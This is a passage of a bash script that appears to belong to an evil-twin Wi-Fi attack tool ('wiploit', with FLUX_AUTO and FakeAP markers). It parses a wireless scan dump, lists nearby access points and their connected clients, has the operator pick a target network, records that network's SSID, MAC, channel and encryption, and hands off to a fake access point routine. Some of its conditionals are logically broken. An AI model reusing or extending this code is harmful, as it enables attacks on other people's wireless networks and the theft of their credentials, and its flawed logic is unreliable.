echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":"
read back
if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then
clear && exitmode
elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then
clear && setinterface
fi
fi
if [ $LINEAS_WIFIS_CSV -le 3 ]; then
deltax && break
fi
wiploitap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Client)' | awk -F : '{print $1}'`
wiploitap=`expr $wiploitap - 1`
head -n $wiploitap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
tail -n +$wiploitap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
echo " WIFI LIST "
echo ""
echo " ID MAC CHAN SECU PWR ESSID"
echo ""
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
longueur=${#MAC}
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
PRIVACY=${PRIVACY:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i+1))
POWER=`expr $POWER + 100`
CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
if [ "$CLIENTE" != "" ]; then
CLIENTE="*"
echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent""
else
echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent""
fi
aidlength=$IDLENGTH
assid[$i]=$ESSID
achannel[$i]=$CHANNEL
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aspeed[$i]=$SPEED
fi
done < $DUMP_PATH/dump-02.csv
# Select the first network if you select the first network
if [ "$FLUX_AUTO" = "1" ];then
choice=1
else
echo
echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent""
echo ""
echo -e "$selection_2"
echo -n -e ""$red"["$blue$USER$yellow"@"$white"wiploit"$red"]-["$yellow"~"$red"]"$transparent""
read choice
fi
if [[ $choice -eq "r" ]]; then
deltax
fi
idlength=${aidlength[$choice]}
ssid=${assid[$choice]}
channel=$(echo ${achannel[$choice]}|tr -d [:space:])
mac=${amac[$choice]}
privacy=${aprivacy[$choice]}
speed=${aspeed[$choice]}
Host_IDL=$idlength
Host_SPEED=$speed
Host_ENC=$privacy
Host_MAC=$mac
Host_CHAN=$channel
acouper=${#ssid}
fin=$(($acouper-idlength))
Host_SSID=${ssid:1:fin}
Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'`
conditional_clear
askAP
}
#@FakeAP
function askAP {
DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
selection && break
fi